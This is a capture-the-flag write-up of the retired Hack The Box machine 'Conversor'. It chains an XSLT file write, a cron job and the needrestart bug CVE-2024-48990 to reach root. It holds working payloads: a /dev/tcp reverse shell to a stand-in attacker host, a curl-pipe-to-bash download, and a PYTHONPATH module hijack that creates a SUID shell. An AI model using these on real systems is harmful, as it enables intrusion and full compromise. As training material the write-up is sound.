root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat conversor.md
// writeups

Conversor

25 Oct 2025 · 13 min read
Conversor HTB machine
Executive summary — Conversor is a Linux machine that chains an XSLT-based arbitrary file write with a misconfigured cron job and a needrestart escalation. The Flask web app converts XML+XSLT pairs with lxml: it blocks XXE but not the EXSLT extensions, which lets us drop a .py into a folder that a cron runs as www-data every minute (RCE). From there we dump the database, crack MD5 hashes and log in over SSH as fismathack; the final blow is CVE-2024-48990 in needrestart. A Web → RCE (cron) → SSH → Root path.
PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.238.31

Attack map

[80/HTTP]  Flask app "Conversor" (Apache 2.4.52 / vhost conversor.htb)
   │  XSLT + EXSLT shell:document → arbitrary file write (CVE-2023-46214 / CVE-2025-6985)
   ▼
[CRON]  .py dropped in /var/www/conversor.htb/scripts/ run as www-data every minute
   │  reverse shell → www-data
   ▼
[DB]  sqlite instance/users.db → unsalted MD5 hashes
   │  hashcat -m 0 + rockyou → Keepmesafeandwarm
   ▼
[SSH]  fismathack@conversor.htb   (user.txt)
   │  sudo -l → NOPASSWD: /usr/sbin/needrestart (v3.7)
   ▼
[ROOT]  needrestart PYTHONPATH injection (CVE-2024-48990) → SUID /bin/bash

1. Reconnaissance

We start by mapping the attack surface with a full-port scan and version detection:

nmap -p- --min-rate 3000 -T4 -Pn 10.129.238.31

Why these flags:

  • -p- → scans all 65535 TCP ports, not just the top 1000.
  • --min-rate 3000 → forces at least 3000 packets/s to speed up the sweep.
  • -T4 → aggressive timing template.
  • -Pn → assume the host is up, no ping (HTB blocks ICMP).

Result:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.52

Only two ports. The web server redirects to the virtual host conversor.htb. Instead of editing /etc/hosts, we resolve the vhost on the fly with curl's --resolve option:

curl -s --resolve conversor.htb:80:10.129.238.31 http://conversor.htb/
Why --resolve: it maps conversor.htb to the target IP for this request only, without touching any system files. Clean and leaves no trace in the environment.

2. Web enumeration — the "Conversor" app

The application is Conversor, a Flask web app with registration and login. Its core feature: upload an XML file and an XSLT stylesheet and transform them at the /convert endpoint, saving the resulting HTML to be served later at /view/<id>.

The /about page exposes a download link for the full application source code:

curl -s --resolve conversor.htb:80:10.129.238.31      http://conversor.htb/static/source_code.tar.gz -o source_code.tar.gz
Analysis: having the source code turns a black box into a white box. We can read exactly how the server processes user input and pinpoint the flaw instead of guessing.

3. Source code review

After registering an account and extracting the tarball, app.py reveals the /convert route:

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file  = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path  = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    parser = etree.XMLParser(resolve_entities=False, no_network=True,
                             dtd_validation=False, load_dtd=False)
    xml_tree    = etree.parse(xml_path, parser)
    xslt_tree   = etree.parse(xslt_path)
    transform   = etree.XSLT(xslt_tree)
    result_tree = transform(xml_tree)
    ...
The flaw: the parser disables external entities and DTDs (resolve_entities=False, no_network=True), mitigating classic XXE. But it does not disable the EXSLT extensions (exsl:document / shell:document) of lxml/libxslt. An attacker-controlled XSLT can use them to write arbitrary files to disk during the transformation (CVE-2023-46214 / CVE-2025-6985).

The install.md file in the tarball gives the decisive hint — a cron running as www-data:

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
The chain is set: any .py we manage to write into /var/www/conversor.htb/scripts/ will run as www-data every minute. The XSLT file-write primitive thus becomes RCE.

4. Exploitation — initial access (user.txt)

4.1 Register and log in. The /convert endpoint requires a session, so we first create a user and save the cookie:

curl -s --resolve conversor.htb:80:10.129.238.31 -c cookies.txt      -X POST -d "username=hackerman&password=Passw0rd123!" http://conversor.htb/register
curl -s --resolve conversor.htb:80:10.129.238.31 -c cookies.txt      -X POST -d "username=hackerman&password=Passw0rd123!" http://conversor.htb/login

4.2 Payload preparation. On our machine we host a shell.sh with a reverse shell:

bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1'

And a payload.xslt that uses the EXSLT shell:document extension to write a .py straight into the cron-watched folder. That script downloads and runs the reverse shell:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">
  <xsl:template match="/">
    <shell:document href="/var/www/conversor.htb/scripts/Rshell.py" method="text">import os
os.system("curl http://<ATTACKER_IP>:8000/shell.sh | bash")</shell:document>
  </xsl:template>
</xsl:stylesheet>

Any throwaway dummy.xml accompanies the upload (the XML content is irrelevant; what matters is that the XSLT runs).

4.3 Listener and upload. We bring up the HTTP server that serves shell.sh and the reverse-shell listener:

python3 -m http.server 8000 &
nc -lvnp 9001

Then we send both files to /convert:

curl -s --resolve conversor.htb:80:10.129.238.31 -b cookies.txt      -F "xml_file=@dummy.xml"      -F "xslt_file=@payload.xslt"      http://conversor.htb/convert

In under 60 seconds the cron runs Rshell.py and we get a reverse shell as www-data.

Practical note: Rshell.py stays in the cron folder, so it is relaunched every minute and the reverse shell reconnects periodically. To avoid losing control between reconnections, use a persistent FIFO-backed listener instead of a plain nc (which dies on the EOF between commands):
exec 3<>/tmp/f; cat <&3 | nc -lvnp 9001

4.4 Credentials in the database. app.py points to DB_PATH = '/var/www/conversor.htb/instance/users.db', readable by www-data:

sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|tester1|a226f4f82283025ca5c1473188236e93
6|hackerman|a226f4f82283025ca5c1473188236e93

fismathack is listed as the developer on /about: a clear target. The passwords are unsalted MD5 (hashlib.md5), trivial to crack.

4.5 Cracking. We dump fismathack's hash and run a dictionary attack with hashcat (mode 0 = MD5):

echo "5b5c3ac3a1c897c94caad48e6c71fdec" > fismathack.hash
hashcat -m 0 -a 0 fismathack.hash /usr/share/wordlists/rockyou.txt -o cracked.txt
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm

Cracked in roughly 7 seconds.

4.6 SSH and user flag. We reuse the recovered password to log in over SSH:

ssh fismathack@10.129.238.31   # password: Keepmesafeandwarm
fismathack@conversor:~$ cat user.txt
eb4022d555a56b7749282419fb0b0b92

5. Privilege escalation (root.txt) — CVE-2024-48990 (needrestart)

5.1 Sudo enumeration. First reflex after landing a user:

sudo -l
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
/usr/sbin/needrestart -v
[main] needrestart v3.7
Why it's exploitable: needrestart before 3.8 is vulnerable to CVE-2024-48990. When it scans running Python processes, it inherits the PYTHONPATH of the scanned process (read from /proc/<pid>/environ) and uses it when invoking its own Python interpreter — as root. If we control that PYTHONPATH, we can hijack an imported module and execute code as root.

5.2 Exploit. Based on the public PoC o-sec/CVE-2024-48990: we hijack the importlib module via PYTHONPATH so that, run as root, it copies /bin/bash to /tmp/bash with the SUID bit.

$TMPDIR/importlib/__init__.py:

from os import system, getuid
if getuid() == 0:
    system("cp /bin/bash /tmp/bash ; chmod u+s /tmp/bash ; exit")

$TMPDIR/loop.py (a "bait" process that keeps a Python interpreter alive with our PYTHONPATH so needrestart scans it):

import os, time
from sys import exit
while 1:
    if os.path.exists('/tmp/bash'):
        print("[+] - Exploit was successful \"/tmp/bash\" is created !")
        exit(0)
    else:
        time.sleep(0.3)

Deployment:

TMPDIR=$(mktemp -d)
mkdir -p "$TMPDIR/importlib"
# write the two files above into
#   $TMPDIR/importlib/__init__.py  and  $TMPDIR/loop.py
export PYTHONPATH="$TMPDIR"
nohup python3 "$TMPDIR/loop.py" &

In another session, we trigger needrestart as root:

sudo /usr/sbin/needrestart

5.3 root.txt. The bait is inherited by needrestart, which imports our malicious importlib as root and creates the SUID /bin/bash:

fismathack@conversor:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1396520 Jul 20 21:16 /tmp/bash
fismathack@conversor:~$ /tmp/bash -p
bash-5.1# id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)
bash-5.1# cat /root/root.txt
8243f38ced15a042420cc93a3919aa2c
/tmp/bash -p preserves root's effective UID (it doesn't drop privileges). Machine fully compromised. 🏴

Vulnerability summary

PhaseComponentVulnerabilityImpact
WebFlask app / lxml XSLTEXSLT shell:document enabled (CVE-2023-46214 / CVE-2025-6985)Arbitrary file write to disk
RCECron www-dataRuns any .py from a web-writable folderCommand execution as www-data
CredentialsSQLite users.dbUnsalted MD5 passwordsSSH credentials for fismathack
PrivEscsudo / needrestart 3.7CVE-2024-48990 (PYTHONPATH injection)Execution as root

Lessons learned

  • XSLT isn't just XXE: disabling resolve_entities/DTD in an XML parser doesn't cover libxslt's EXSLT extensions (exsl:document/shell:document). If the XSLT is user-controlled, disable them explicitly or sandbox the transformation.
  • Cron + writable folder = RCE: a cron that runs any .py dropped into a folder writable by the web process turns any file-write primitive into remote code execution.
  • Unsalted MD5 protects nothing: it cracks almost instantly with rockyou (7 s here). Use slow, salted algorithms (bcrypt, argon2).
  • Beware sudo NOPASSWD: needrestart < 3.8 trusts the PYTHONPATH of any Python process it scans. A NOPASSWD entry on that binary is direct root escalation if the version is vulnerable.
  • Reuse maintained PoCs: leaning on a well-tested public exploit saved time versus reimplementing the module from scratch.